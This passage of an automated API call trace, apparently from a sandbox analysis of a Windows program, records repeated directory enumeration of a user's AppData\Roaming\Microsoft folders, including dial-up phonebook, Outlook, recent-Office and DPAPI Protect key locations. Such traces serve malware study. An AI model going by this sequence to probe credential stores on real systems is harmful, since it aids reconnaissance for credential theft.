lpOldMode=0x6cfea38) returned 1 [0068.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4e [0068.430] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.430] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.430] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.430] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.431] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.431] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x43 [0068.431] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.431] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.431] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.431] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.431] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.431] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3f [0068.434] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.434] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.434] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.434] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.434] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.434] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x33 [0068.435] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.435] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.435] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.435] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.435] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x32 [0068.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\office"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1496b810, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xa8953330, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa8953330, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.436] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x32 [0068.436] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.436] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.436] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.436] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.436] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.436] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.436] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.436] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.436] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.437] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.437] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.437] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.437] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.437] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.437] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.437] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x39 [0068.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.437] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\office\\recent"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d28b6b0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xcd7a8be0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xcd7a8be0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.438] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x39 [0068.438] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.438] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.438] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.438] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.438] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.438] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.438] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.438] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.438] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.439] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x39 [0068.439] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.439] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.439] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.439] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.439] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.439] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.439] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.439] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.439] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.440] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x32 [0068.440] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.440] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.441] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.441] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.441] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.441] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.441] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.441] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.441] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x33 [0068.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\outlook"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa9a2a940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xc6de8c40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc6de8c40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x33 [0068.442] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.442] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.442] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.442] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.442] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.442] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x33 [0068.442] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.442] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.443] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.443] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.443] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.443] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.443] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x31 [0068.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\proof"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f577b70, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3f577b70, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3f577b70, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.443] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x31 [0068.443] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.444] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.444] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.444] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x31 [0068.444] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.444] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.444] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.444] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x33 [0068.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\protect"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xbe05fdf0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xbe05fdf0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.445] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x33 [0068.445] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.445] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.445] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.445] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.445] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.445] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.445] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.445] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.446] GetFullPathNameW (in: 